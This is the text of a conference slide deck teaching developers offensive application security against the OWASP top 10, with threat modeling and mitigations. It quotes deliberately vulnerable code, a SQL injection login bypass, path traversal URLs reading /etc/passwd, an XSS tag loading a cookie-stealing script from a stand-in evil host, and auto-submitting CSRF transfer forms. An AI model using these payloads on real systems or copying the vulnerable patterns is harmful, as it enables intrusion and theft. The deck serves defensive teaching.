Press ?
for help.
All features are anonymous.
Offensive Application Security for Developers
Presented By James L McKee (@punkcoder)
Welcome to Nebraska.Code() and thank you for joining me at 8:30am.
Application developers are the first line in defending applications from attack, there are thousands of software and hardware solutions to attempt to make your software more safe and secure. In the end if the software isn't developed properly and securely no amount of software or hardware is going to protect you. In this session I plan to go over, identifying weak code, testing for it, and fixing it.
In this session we will go over in-depth the process for doing application security testing on your own applications. As part of the session we will go through and identify all of the items on the OWASP top 10, how to test them using DVWA (the Damn Vulnerable Web Application), and talk about strategies to mitigate the.
I am a security analyst, architect, and developer.
- @punkcoder (twitter)
- https://www.punkcoder.com (website)
Trimble / 10-4
As we are walking through this you can access a copy of the slide deck at http://slides.punkcoder.com/offensivesecurity
The information that you are working with in this class is dangerous. Many of the things that I'm teaching you could result in criminal charges if you do them in the wrong context.
There is an immense amount of information for us to cover and practice sessions for us to work on:
Unfortunately this one has to be done...
In order to make sure that we are all on the same page about what security we need a common framework.
In information security, confidentiality "is the property, that information is not made available or disclosed to unauthorized individuals, entities, or processes."[36] While similar to "privacy," the two words aren't interchangeable. Rather, confidentially is a component of privacy that implements to protect our data from unauthorized viewers. Examples of confidentiality of electronic data being compromised include laptop theft, password theft, or sensitive emails being sent to the incorrect individuals.[2]
Lifted from wikipedia
In information security, data integrity means maintaining and assuring the accuracy and completeness of data over its entire lifecycle.[37] This means that data cannot be modified in an unauthorized or undetected manner. This is not the same thing as referential integrity in databases, although it can be viewed as a special case of consistency as understood in the classic ACID model of transaction processing. Information security systems typically provide message integrity in addition to data confidentiality.
Lifted from wikipedia
For any information system to serve its purpose, the information must be available when it is needed. This means the computing systems used to store and process the information, the security controls used to protect it, and the communication channels used to access it must be functioning correctly. High availability systems aim to remain available at all times, preventing service disruptions due to power outages, hardware failures, and system upgrades. Ensuring availability also involves preventing denial-of-service attacks, such as a flood of incoming messages to the target system, essentially forcing it to shut down.[38]
In the realm of information security, availability can often be viewed as one of the most important parts of a successful information security program. Ultimately end-users need to be able to perform job functions; by ensuring availability an organization is able to perform to the standards that an organizations stake-holders expect. This can involve topics such as proxy configurations, outside web access, ability to access shared drives and the ability to send emails. Executives oftentimes do not understand the technical side of information security and look at availability as an easy fix, but this often requires collaboration from many different organizational teams, such as network operations, development operations, incident response and policy/change management. A successful information security team involves many different key roles to mesh and align for the CIA triad to be provided effectively.
Lifted from Wikipedia
The normal threats that we look at from a Developer Standpoint:
Defense in depth is the practice of making sure that there are multiple controls in place to help with the security of the application and infrastructure.
Security through Obscurity is the reliance that because someone is unaware of how you are doing security that it can not be broken. This is a fallacy and a really good way to make sure that you get thoroughly owned.
When implementing security patterns make sure that you are using tested patterns that are offered up through tested and vetted sources.
In the security world the best patterns are ones that are tested out in the open.
Floating around the room are a couple of thumb drives with:
- VirtualBox (Windows, Mac OSX, and Linux)
- DVWA Live ISO
- Kali Linux VM Image
- A laptop that they have root or administrator access to.
- A laptop capable of running a virtual box machine,
multi-core, with 8gb+ of ram.
All materials outside of the Requirements will be provided.
If you haven't worked with Virtual Machines before you may get an error message while trying to run virtual box the first time.
At some point, you may encounter error messages in your VM apps like the following:
To fix this you will need to go into your bios settings and update the virtualization extensions.
This link may be of assistance: https://www.howtogeek.com/213795/how-to-enable-intel-vt-x-in-your-computers-bios-or-uefi-firmware/
Continued on the next slide
Continued
Step By Step Install Video
YouTube Version
Get cozy with the person that is setting next to you this is going to be a team experience for the two of you.
Don't think of this as a failure but instead as a two heads are better than one thing.
Threat modeling is an attempt to quantify all fo the items that you have, all of the assets that you control, and address security risks with those items.
We do threat modeling as an exercise to know what we are defending.
I recommend starting the Threat Model at design time as a way to make sure that you are planning security from the beginning.
NOTE: This is a living document and should never be considered complete, much like the application it will need to be revisited on a regular basis to make sure that it's keeping up with the changes in the application as well as the changes in the security landscape.
Stride helps us to understand the nature of the attack that's being waged, it provides the surface of attack and will be used in attempting to reduce the attack surface.
Mostly because both of these are built into standards that we as developers don't touch.
Spoofing is where a user (normal or malicious) can impersonate another user. Doing this can allow a user to craft malicious data or falsify data currently in the system.
Authentication is achieved by verifying the Identity of the user, generally this is done with a username. However to be secure in applications we will often use the following triad to assemble a true validation of the user:
Tampering is the task of modifying data outside of the normal data processing stream.
There are several different types of controls that we can put in place to make sure that we maintain integrity:
Repudiation is the process of questioning the authoring of an element or piece. This is particularly important in the space where we are talking about 'trusted' code. When a user comes to your application they are expecting the code that you produced and they are expecting it to operate as expected.
If an attacker can inject their code into the application this creates issues
Information disclosure can be something as small as failing to correctly obfuscate data that you are returning or using to access (think sql Ids) or leaking sensitive information.
Denial of Service is the ability to make the system either inaccessible or unusable from the end users perspective. The danger of this item is often not fully explored until after it's happened.
Elevation of Privilege is the ability for the user or malicious party to gain access to elements or functions of the application that they should not have access to at their current permission level. Many times this type of threat goes unrecognized due to the fact that the users may be performing actions that other users would be able to do.
Dread is how we assign a value of how dangerous the flaw that was discovered? It allows us to score the severity and as part of the process helps us to categorize the threats that are known to the app.
The following values were lifted from Wikipedia - Dread
If a threat exploit occurs, how much damage will be caused?
0 = Nothing
5 = Individual user data is compromised or affected.
10 = Complete system or data destruction
How easy is it to reproduce the threat exploit?
0 = Very hard or impossible, even for administrators of the application.
5 = One or two steps required, may need to be an authorized user.
10 = Just a web browser and the address bar is sufficient, without authentication.
What is needed to exploit this threat?
0 = Advanced programming and networking knowledge, with custom or advanced attack tools.
5 = Malware exists on the Internet, or an exploit is easily performed, using available attack tools.
10 = Just a web browser
How many users will be affected?
0 = None
5 = Some users, but not all
10 = All users
How easy is it to discover this threat?
0 = Very hard to impossible; requires source code or administrative access.
5 = Can figure it out by guessing or by monitoring network traces.
9 = Details of faults like this are already in the public domain and can be easily discovered using a search engine.
10 = The information is visible in the web browser address bar or in a form.
Threat categorization is the process of identifying the different types of threats that are posed in your application and which of them would be appealing to various threat actors. In software we develope UX personas, this is the same thing that we will do for threat actors.
Threat mitigation is the process of addressing known threats to the application and selecting behaviors or controls that can be put in place to nullify or reduce the threat to an application.
We can't make an application 100% safe but we can make it safer than it is today, if we do that day after day in the end we are in a much better place than where we started.
There is always money in the banana stand. -George Bluth
Injection attack rely on the user (malicious or otherwise) supplying more data than the programmer is expecting in an attempt to modify the way that a query is designed to work.
These are validation bugs and concatenation errors.
var Value = "SELECT * FROM USERS WHERE Username = '"
+ username + "' AND Password = '" + Password + "'";
SQL Injection works by over ridding the SQL Statement with equally valid sql.
-- str Value = "SELECT * FROM USERS WHERE Username = '" + username
-- + "' AND Password = '" + Password + "'";
-- VALID SQL 1:
-- username = Admin
-- password = P@ssw0rd
-- Result:
SELECT * FROM USERS WHERE Username = 'Admin' AND Password = 'P@ssw0rd';
-- VALID SQL 2:
-- username = Admin
-- password = ' OR 1=1; --
-- Result:
SELECT * FROM USERS WHERE Username = 'Admin' AND Password = '' OR 1=1; --';
var express = require('express');
var bodyParser = require('body-parser');
var mysql = require('mysql');
var connection = mysql.createConnection();
var app = express();
app.use(bodyParser.urlencoded());
app.post('/login', function (req, res) {
var user = req.body.user;
var pass = req.body.pass;
var sql = "SELECT * FROM users WHERE user = '" + user
+ "' AND pass = '" + pass + "'";
connection.query(sql, function(err, results) {
...
Lifted from Secure Node Apps Against OWASP TOP 10
protected void processRequest(HttpServletRequest request, HttpServletResponse res)
throws ServletException, IOException {
res.setContentType('text/html;charset=UTF-8');
PrintWriter out = res.getWriter();
try {
String user = request.getParameter('user');
Connection conn = null;
try {
Class.forName(driver).newInstance();
conn = DriverManager.getConnection('jdbc:mysql://127.0.0.1:3306/mydb',
'root', '');
Statement st = conn.createStatement();
String query = 'SELECT * FROM User where userId='' + user + ''';
System.out.printf(query);
ResultSet res = st.executeQuery(query);
while (res.next()) {
String s = res.getString('username');
out.println('\t\t' + s);
}
conn.close();
} catch (Exception e) { e.printStackTrace(); }
} finally {
out.close();
}
}
Lifted (with Modification) from SQL Injection in Java Application
bool VerifyUser(string username, string password)
{
bool verifiedUser = false;
string sql = $"SELECT * FROM Users WHERE user = '{username}'"
+" and password = '{password}'";
using (var trans = Connection.BeginTransaction())
{
SqlCommand cmd = new SqlCommand
(sql,
Connection as SqlConnection);
if (Connection.State != ConnectionState.Open) {Connection.Open();}
var reader = cmd.ExecuteXmlReader();
verifiedUser = reader.HasValue;
if (Connection.State != ConnectionState.Closed) {Connection.Close(); }
}
return verifiedUser;
}
<?php
$offset = $argv[0]; // beware, no input validation!
$query = "SELECT id, name FROM products ORDER BY name LIMIT 20 OFFSET $offset;";
$result = pg_query($conn, $query);
?>
<?php
$query = "SELECT * FROM products WHERE id LIKE '%$prod%'";
$result = mssql_query($query);
?>
Lifted from PHP Documentation
char myquery[QUERY_LEN];
sprintf(myquery, "select * from patient p where p.id_doc='%s'",
us_names[index].name);
if (mysql_query(conn, myquery )) {
fprintf(stderr, "%s\n", mysql_error(conn));
exit(1);
}
Lifted from StackOverflow
def unsafe_query
sql = []
sql << "email = #{email}" if condition1?
sql << "name = #{name}" if condition2?
# ... etc
User.where(sql.join(' and '))
end
Lifted from Fixing Sql Injection Vulnerabilities
CREATE PROCEDURE SP_ProductSearch @prodname varchar(400) = NULL AS
DECLARE @sql nvarchar(4000)
SELECT @sql = ' SELECT ProductID, ProductName, Category, Price ' +
' FROM Product Where '
IF @prodname IS NOT NULL
SELECT @sql = @sql + ' ProductName LIKE ''' + @prodname + ''''
EXEC (@sql)
Lifted from Are Stored Procedures Safe Against SQL Injection
File injection is the ability to get a file (more than often the nature of this file is executable) onto the host system without having access to the file system.
Unfortunately characteristics of this attack seldom come as a single part, and usually because of one of the parts of the attack we will see others parts of the attack as well (if we upload data to the site we are going to need to show it somewhere).
http://www.anyapp.com/upload/uploads.ext
http://www.anyapp.com/pages/file.ext?file=doc.pdf
Command Injection is the ability to execute unintended operating system level commands from the front end of the application either with or without the intention of the developer. This allows for the escalation of privileges within the application.
#include <stdio.h>
#include <unistd.h>
int main(int argc, char **argv) {
char cat[] = "cat ";
char *command;
size_t commandLength;
commandLength = strlen(cat) + strlen(argv[1]) + 1;
command = (char *) malloc(commandLength);
strncpy(command, cat, commandLength);
strncat(command, argv[1], (commandLength - strlen(cat)) );
system(command);
return (0);
}
Lifted from OWASP Command Injection
system(command);
The goal of path injection is to gain access to parts of the machine that the application has access to the that user does not, this allows for the accessing of information that could be sensitive in nature or may give more information about how the application functions.
http://some_site.com.br/get-files.jsp?file=report.pdf
http://some_site.com.br/get-page.php?home=aaa.html
http://some_site.com.br/some-page.asp?page=index.html
http://some_site.com.br/get-files.jsp?file=../../../../etc/apache2/apache2.conf
http://some_site.com.br/get-page.php?home=/etc/passwd
http://some_site.com.br/some-page.asp?page=C:/Users/Administrator/NTUser.dat
LDAP Injection is an attack used to exploit web based applications that construct LDAP statements based on user input. When an application fails to properly sanitize user input, it’s possible to modify LDAP statements through techniques similar to SQL Injection. LDAP injection attacks could result in the granting of permissions to unauthorized queries, and content modification inside the LDAP tree. For more information on LDAP Injection attacks, visit LDAP injection.
This is a less common form of Injection, but no less dangerous. Personally, I've never seen it in the wild.
Lifted from Injection Prevention Cheat Sheet
If you are utilizing XML in you application and searching it from XPath, this is a concern for you... Look it up here
This is a less common form of Injection, but no less dangerous. Personally, I've never seen it in the wild.
Lifted from SQL Injection Prevention Cheat Sheet
!!! LETS DO SOME INJECTION !!!
Items marked with an * indicate that they are included by default in Kali
Cross-Site Scripting (XSS) attacks are a type of injection, in which malicious scripts are injected into otherwise benign and trusted web sites. XSS attacks occur when an attacker uses a web application to send malicious code, generally in the form of a browser side script, to a different end user. Flaws that allow these attacks to succeed are quite widespread and occur anywhere a web application uses input from a user within the output it generates without validating or encoding it.
Lifted from OWASP Cross-Site Scripting
Reflected XSS is the process of redirecting a user to a location on the page where the javascript that is being executed is coming from a source external to the page.
For Example:
Stored XSS on the other hand come usually from the database, but it is also possible that sites that have been compromised from other locations. Meaning that this information could be pulled in from an included file (such as a header file that has been compromised) or pulled back from the database.
This is done through a 3 step process:
BeEF is the Browser Exploitation Framework.
DEMO TIME!
So... there's that.
With that said there are a lot of people doing interesting work and security research in this space. The bar to entry is very low and the payoff can be very high.
<?php
$name = $_GET['name'];
echo "Welcome $name<br>";
echo "<a href="http://xssattackexamples.com/">Click to Download</a>";
?>
Lifted from XSS Attack Examples (Cross-Site Scripting Attacks)
This is a novel attack and I thought that I would include it, if you are taking information that is contained in a cookie and reflecting it onto the page this can be escaped and used as a injection point for extending a XSS Attack.
Entry Points for XSS Attacks:
This type of attack usually comes from the abuse of the database or from modification of files present on the server.
I love the puppies in this story! They're so cute!
<script src="http://mallorysevilsite.com/authstealer.js">
Lifted from Wikipedia XSS
This type of attack is incredibly easy to perpetrate and is almost undetectable.
Lifted from XSS (Cross Site Scripting) Prevention Cheat Sheet
<script>...NEVER PUT UNTRUSTED DATA HERE...</script> directly in a script
<!--...NEVER PUT UNTRUSTED DATA HERE...--> inside an HTML comment
<div ...NEVER PUT UNTRUSTED DATA HERE...=test /> in an attribute name
<NEVER PUT UNTRUSTED DATA HERE... href="/test" /> in a tag name
<style>...NEVER PUT UNTRUSTED DATA HERE...</style> directly in CSS
<body>...ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE...</body>
<div>...ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE...</div>
any other normal HTML elements
Lifted from XSS (Cross Site Scripting) Prevention Cheat Sheet
<div attr=...ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE...>content</div>
inside UNquoted attribute
<div attr='...ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE...'>content</div>
inside single quoted attribute
<div attr="...ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE...">content</div>
inside double quoted attribute
<script>alert('...ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE...')</script>
inside a quoted string
<script>x='...ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE...'</script>
one side of a quoted expression
<div onmouseover="x='...ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE...'"</div>
inside quoted event handler
Lifted from XSS (Cross Site Scripting) Prevention Cheat Sheet
HTTP/1.1 200
Date: Wed, 06 Feb 2013 10:28:54 GMT
Server: Microsoft-IIS/7.5....
Content-Type: text/html; charset=utf-8 <-- bad
....
Content-Length: 373
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
{"Message":"No HTTP resource was found that matches the request URI
'dev.net.ie/api/pay/.html?HouseNumber=9&AddressLine=The+Gardens
<script>alert(1)</script>&AddressLine2=foxlodge+woods&TownName=Meath'.",
"MessageDetail":"No type was found that matches the controller named
'pay'."} <-- this script will pop!!
Lifted from XSS (Cross Site Scripting) Prevention Cheat Sheet
<style>selector { property : ...ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE...; } </style>
<style>selector { property : "...ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE..."; } </style>
<span style="property : ...ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE...">text</span>
<a href="http://www.somesite.com?test=...ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE...">link</a >
Lifted from XSS (Cross Site Scripting) Prevention Cheat Sheet
https://www.owasp.org/index.php/DOM_based_XSS_Prevention_Cheat_Sheet
Lifted from XSS (Cross Site Scripting) Prevention Cheat Sheet
Lifted from XSS (Cross Site Scripting) Prevention Cheat Sheet
It's important to know that this only protects your application, as information can still be entered into the framework and can be pulled out through other utilities and systems.
Example:
All of the tools that are listed above are included by default as part of the Kali linux distribution.
Cross Site Request Forgery
CSRF relies on the fact that there are some actions that are performed on the web that need information from other websites, and because of this there are actions that are performed in a way that is not optimal.
Requesting Resources and Posting back of forms includes artifacts that maybe needed to complete the transaction. While this desirable in some locations it creates issues for other users and websites.
The goal of this attack is to get the user to click on something that they
<form action="https://bank.example.com/transfer" method="post">
<input type="hidden" name="amount" value="100.00"/>
<input type="hidden" name="routingNumber" value="evilsRoutingNumber"/>
<input type="hidden" name="account" value="evilsAccountNumber"/>
<input type="submit"value="Win Money!"/>
</form>
Lifted from Spring Documentation
<img src="https://www.example.com/transfer?amount=1000&destination=mallory">
Lifted from Tinfoil Security
The goal of this attack is to get the user to click on something that they
<form action="https://bank.example.com/transfer" method="post" name="CSRFForm">
<input type="hidden" name="amount" value="100.00"/>
<input type="hidden" name="routingNumber" value="evilsRoutingNumber"/>
<input type="hidden" name="account" value="evilsAccountNumber"/>
</form>
<script>document.CSRFForm.submit()</script>
Lifted from Spring Documentation
This method relies on the server generating a token that contains information that is cryptographically secure that is unique per session.
This information is required to be submitted with any forms that are located on this site. In the event that one of the Tokens can not be verified then the submission of the form is rejected.
This method should only be included with POST verbs otherwise the token can easily be stolen and abused in the same way that a form without a token could be.
This method requires the storing of cryptographically strong tokens to be submitted with the form as well as with a cookie. This should be done in addition to a Session value.
This works since the unauthorized party is not capable of collecting the value from the cookie and therefor can't submit the value with the form.
This pattern uses the login information, date time, a nonce, that are included in a response from the server encrypted with a key from the server, this is then used as part of a double submit pattern which is verified on the server as a form of verification. Since the attacking party doesn't have access to this value they can not submit on their behalf.
Examples:
Items marked with an * indicate that they are included by default in Kali
Insecure Direct Object Access is the process of accessing data that the end user / malicious party shouldn't have access to this takes many forms but is not limited to the following examples.
Fuzzing is the action of trying values that have the possibility to occur in a data series... for example:
1,2,3,4,5...
a,b,c,d,e...
20180102,20180103,20180104,20180105,20180106....
If you see someone that is using an integer to reference a value in a request, they are begging to get hit but this type of attack.
<!-- So this is the legit link -->
<a href="http://somesite.com/post/1">My Post</a>
<!-- But there is nothing stopping us from checking -->
http://somesite.com/post/2
http://somesite.com/post/3
http://somesite.com/post/4
...
http://somesite.com/post/2147483647
Black box fuzzing is the practice of approaching the server or web application without the knowledge of how the service operates. This implies that there is nothing that you know about the operation of the machine.
In my personal experience this is the most fruitful method of testing initial work in the application as it focuses on what is there instead of what you think you know. As a developer we alway think that we know where the skeletons are buried, however most of the time this distracts us from the low hanging fruit.
White box testing is the opposite of the black box test where you have access to all of the code and the base of that infrastructure. This is most commonly helpful when it's paired with static analysis tools. Linters are really good at catching alot of the work that we would like to focus on.
If the project isn't using a linter, then it can work to your advantage and tell you good places that may help with the process of testing.
In most cases this is where you will actually end up. While you may be familiar with sections of the code unless you are the singular author, then there are chances that there are sections of the code that you are not familiar with. In these cases you will have to approach from the directions that we have taken from the other slides.
Attack proxies are software packages that sit between your network and the application that you are attempting to work on. If you are testing web applications then burp suite or the zed attack proxy will be your best friend. If you are testing native applications you will more than likely use one of these paired with a network sniffing technology like wireshark.
More on this in a couple of min.
Making the most of Direct Object Access is really about thinking creatively about the application that you are looking at, in some ways it's alot like bug hunting or scalability/performance testing:
The main thing here is to be as reckless as possible with the amount and type of data that you are supplying to the application.
Provided by: OWASP Cost: Free
The Zed Attack Proxy is a great entry level tool for watching all of the communication that takes place between a server and has these features:
Provided by: PortSwigger Cost: Free(Community) / $350 per year (Professional)
BurpSuite is the industry standard when it come to the individual manual testing of applications, it gets this because there is a wealth of technology that has been built on top of the application to make it easy to automate the replication of attacks
BurpSuite has these features:
Because sometimes something that should happen one looks really weird when it happens 30 times in a row.
Some times parts of a process can looks really fun when they are replayed backwards, this type of attack is really good at getting data into an invalid state and can allow for the manipulation of the application.
Again get creative with this... this is one of the areas where developers I find excel at testing since they have a much more knowledgeable understanding of the application and how it behaves.
It's tough because:
These are attacks on the logic of your application, there will never be an automated test or tool that will catch these. You have to be responsible for attempting to find these items. If a malicious party can not get data from other areas this is where they will go, because software is built on a budget.
Pros:
Cons:
Pros:
Cons:
Pros:
Cons:
Failure to do proper session management can result in disastrous outcomes. Because of this it's best to make sure that you use tested methods of performing authentication and session management and you should not implement your own.
Cookie: AccountId=10
HTTP 1.0 GET http://somesite.com/account/info
I wonder what would happen if we were to change the cookie????
JWT are JavaScript Web Tokens....
Most people think that the information that is included in them is encrypted... It's not. The power of JWT's are that they are tamper resistant, this doesn't mean that they can't be read.
Here is an example JWT:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6Ikp vaG4gRG9lIiwicGFzc3dvcmQiOiJwYXNzd29yZCIsImlhdCI6MTUxNjIzOTAyMn0.s2y0TPviCi4 qUkqgNtqLzg8zWg91B36hqzBkrG8ySlo
Also make sure that the keyphrase that you are using to protect the hashing of the token is cryptographically strong. The algorithm is amazingly easy to run several millions of combinations on. If this is weak then there is the possibility to take control of the session of another user.
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhY2NvdW50SWQiOjEwLCJjbGFpbXMiOlsiY3J lYXRlVXNlciIsInJlYWRVc2VyIiwidXBkYXRlVXNlciIsImRlbGV0ZVVzZXIiXX0.ngDiruzDin4 O86xWZmyv9HKXByOVx3SmsRmGYd64_so
The basic idea behind this structure is that there would be a centralized location to authenticate then from that point claims are included for the site which the user is attempting to access. By doing this we are offloading one of the most sensitive parts of the application to a separate location / attack surface. Since we are isolating this there is more likely the option to use a well known package instead of implementing your own.
When handing off claims to other locations make sure that they are securely signed and that the signatures are checked every time that they are evaluated.
SAML is an XML-based standard for web browser single sign-on and is defined by the OASIS Security Services Technical Committee. The standard has been around since 2002, but lately it is becoming popular due its advantages:
Lifted from Python SAML
<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" ID="_8e8dc5f69a98cc4c1ff3427e5ce34606fd672f91e6" Version="2.0" IssueInstant="2014-07-17T01:01:48Z" Destination="http://sp.example.com/demo1/index.php?acs" InResponseTo="ONELOGIN_4fee3b046395c4e751011e97f8900b5273d56685">
<saml:Issuer>http://idp.example.com/metadata.php</saml:Issuer>
<samlp:Status>
<samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/>
</samlp:Status>
<saml:Assertion xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xs="http://www.w3.org/2001/XMLSchema" ID="pfxf383db56-6042-f0ae-5059-1e1a893560de" Version="2.0" IssueInstant="2014-07-17T01:01:48Z">
<saml:Issuer>http://idp.example.com/metadata.php</saml:Issuer><ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
<ds:SignedInfo>
<ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
<ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>
<ds:Reference URI="#pfxf383db56-6042-f0ae-5059-1e1a893560de">
<ds:Transforms>
<ds:Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature"/>
<ds:Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
</ds:Transforms>
<ds:DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"/>
<ds:DigestValue>L1JwRO10wYWqt6x8OuysMhcMZqs=</ds:DigestValue>
</ds:Reference>
</ds:SignedInfo>
<ds:SignatureValue>RpWs+78oRrk4Trs8h/MidHK2fzvKMTVAr56dqmL02ltvRn0+wWzZiw +PHUqaiIk33vAAQbW5qdzx9MrqRMpCL/pz8nNNYSoO+Q6hswSG0E0xOTMRwMeJX5WxKARMQsjVXL5 +iZco70fBq6xmktIKoWDmKijNBSpzszBrc3vwc64=</ds:SignatureValue>
<ds:KeyInfo>
<ds:X509Data>
<ds:X509Certificate>
MIICajCCAdOgAwIBAgIBADANBgkqhkiG9w0BAQ0FADBSMQswCQYDVQQGEwJ1czETMBEGA1UECAwKQ2FsaWZvcm5pYTEVMBMGA1UECgwMT2 5lbG9naW4gSW5jMRcwFQYDVQQDDA5zcC5leGFtcGxlLmNvbTAeFw0xNDA3MTcxNDEyNTZaFw0xNTA3MTcxNDEyNTZaMFIxCzAJBgNVBAYT AnVzMRMwEQYDVQQIDApDYWxpZm9ybmlhMRUwEwYDVQQKDAxPbmVsb2dpbiBJbmMxFzAVBgNVBAMMDnNwLmV4YW1wbGUuY29tMIGfMA0GCS qGSIb3DQEBAQUAA4GNADCBiQKBgQDZx+ON4IUoIWxgukTb1tOiX3bMYzYQiwWPUNMp +Fq82xoNogso2bykZG0yiJm5o8zv/sd6pGouayMgkx/2FSOdc36T0jGbCHuRSbtia0PEzNIRtmViMrt3AeoWBidRXmZsxCNLwgIV6dn2Wp uE5Az0bHgpZnQxTKFek0BMKU/d8wIDAQABo1AwTjAdBgNVHQ4EFgQUGHxYqZYyX7cTxKVODVgZwSTdCnwwHwYDVR0jBBgwFoAUGHxYqZYy X7cTxKVODVgZwSTdCnwwDAYDVR0TBAUwAwEB/zANBgkqhkiG9w0BAQ0FAAOBgQByFOl +hMFICbd3DJfnp2Rgd/dqttsZG/tyhILWvErbio/DEe98mXpowhTkC04ENprOyXi7ZbUqiicF89uAGyt1oqgTUCD1VsLahqIcmrzgumNyT wLGWo17WDAa1/usDhetWAMhgzF/Cnf5ek0nK00m0YZGyc4LzgD0CROMASTWNg==
</ds:X509Certificate>
</ds:X509Data>
</ds:KeyInfo>
</ds:Signature>
<saml:Subject>
<saml:NameID SPNameQualifier="http://sp.example.com/demo1/metadata.php" Format="urn:oasis:names:tc:SAML:2.0:nameid-format:transient">
_ce3d2948b4cf20146dee0a0b3dd6f69b6cf86f62d7
</saml:NameID>
<saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer">
<saml:SubjectConfirmationData NotOnOrAfter="2024-01-18T06:21:48Z" Recipient="http://sp.example.com/demo1/index.php?acs" InResponseTo="ONELOGIN_4fee3b046395c4e751011e97f8900b5273d56685"/>
</saml:SubjectConfirmation>
</saml:Subject>
<saml:Conditions NotBefore="2014-07-17T01:01:18Z" NotOnOrAfter="2024-01-18T06:21:48Z">
<saml:AudienceRestriction>
<saml:Audience>http://sp.example.com/demo1/metadata.php</saml:Audience>
</saml:AudienceRestriction>
</saml:Conditions>
<saml:AuthnStatement AuthnInstant="2014-07-17T01:01:48Z" SessionNotOnOrAfter="2024-07-17T09:01:48Z" SessionIndex="_be9967abd904ddcae3c0eb4189adbe3f71e327cf93">
<saml:AuthnContext>
<saml:AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:ac:classes:Password</saml:AuthnContextClassRef>
</saml:AuthnContext>
</saml:AuthnStatement>
<saml:AttributeStatement>
<saml:Attribute Name="uid" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic">
<saml:AttributeValue xsi:type="xs:string">test</saml:AttributeValue>
</saml:Attribute>
<saml:Attribute Name="mail" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic">
<saml:AttributeValue xsi:type="xs:string">test@example.com</saml:AttributeValue>
</saml:Attribute>
<saml:Attribute Name="eduPersonAffiliation" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic">
<saml:AttributeValue xsi:type="xs:string">users</saml:AttributeValue>
<saml:AttributeValue xsi:type="xs:string">examplerole1</saml:AttributeValue>
</saml:Attribute>
</saml:AttributeStatement>
</saml:Assertion>
</samlp:Response>
Lifted from SAML Tools
SAML is verbose, but it covers explicitly most all of the conditions that you would encounter a developer working on enterprise applications. There is also good support for it in most of the enterprise languages.
If you see the message that is in the SAML section and though to yourself that there has to be a better way...
Let me introduce to Javascript Web Tokens.
JWTS are comprised of 3 parts:
Here are some extra steps that will help to harden your application logins against attack:
Part of the process of protecting the session management is the ability to indicate when someone has stepped out of the line and be able to access this appropriately.
This involved the maintenance of a set of fields on each of the data stores and making sure that those fields are correctly updated every time that the user connects to the data store.
Adding 4 fields to the database:
The basic idea here is that any time data is written to the database or other data store this will kick off automatic functionality that will capture a snapshot of the object that was changed. In modern databases this is usually done with a trigger, initially when an object is updated to the latest version a snapshot of that record is serialized into another table.
This can be a very effect method of auditing but the trigger hell can be more than some people are use to and this can create issues inside the database with performance implications.
If this is the path that you are heading down you already know more about this topic than you probeable should talk to others about. It's effectively creating a data warehouse that snapshots the database for future records.
The main problem with this is that snapshots are usually taken at fix times which can lead to issues with lost data if multiple edits happen in the time of the processing.
I've been told that this has been done but I've never seen it in real life.
This happens when a malicious party is able to find a repeatable process that either takes a long time to process or forces the reset of components of the application to continue, this is an LEVEL 7 application denial of service.
Remember if the attacker can exploit any part of the CIA triad then they can wreck havok... Availability is part of that triad.
I personally would never test for DoS on live servers, regardless if they are production or some lower environment. Here's why:
This is one of the areas that this varies from a traditional penetration test. We are developers, anything that we find we should be able to repeat and explain.
Here are some of the things that you can look at as vectors to try:
You should approach this from the aspect of doing a performance test where the tester has a grudge.
When you see a url that looks like the following you should be very afraid.
http://www.mysite.com/auth/login?redirect=/user/dashboard
Do you know why?
This is a nasty little attack that makes for super easy harvesting of credentials. Here's how the attack looks from the outside:
One of the first things that testers of the application will look at as part of a reconisence of the application. It will give us hints to the areas of the application that are sensitive or the underlying implementation of the application.
Sitemap: https://www.cnn.com/sitemaps/sitemap-index.xml
Sitemap: https://www.cnn.com/sitemaps/sitemap-news.xml
Sitemap: https://www.cnn.com/sitemaps/sitemap-video-index.xml
Sitemap: https://www.cnn.com/sitemaps/sitemap-section.xml
Sitemap: https://www.cnn.com/sitemaps/sitemap-interactive.xml
User-agent: *
Allow: /partners/ipad/live-video.json
Disallow: /editionssi
Disallow: /ads/
Disallow: /aol
Disallow: /audio
Disallow: /beta
Disallow: /browsers
Disallow: /cl
Disallow: /cnews
Disallow: /cnn_adspaces
Disallow: /cnnbeta
Disallow: /cnnintl_adspaces
Disallow: /development
Disallow: /help/cnnx.html
Disallow: /NewsPass
Disallow: /NOKIA
Disallow: /partners
Disallow: /pipeline
Disallow: /pointroll
Disallow: /POLLSERVER
Disallow: /pr/
Disallow: /PV
Disallow: /quickcast
Disallow: /Quickcast
Disallow: /QUICKNEWS
Disallow: /test
Disallow: /virtual
Disallow: /WEB-INF
Disallow: /web.projects
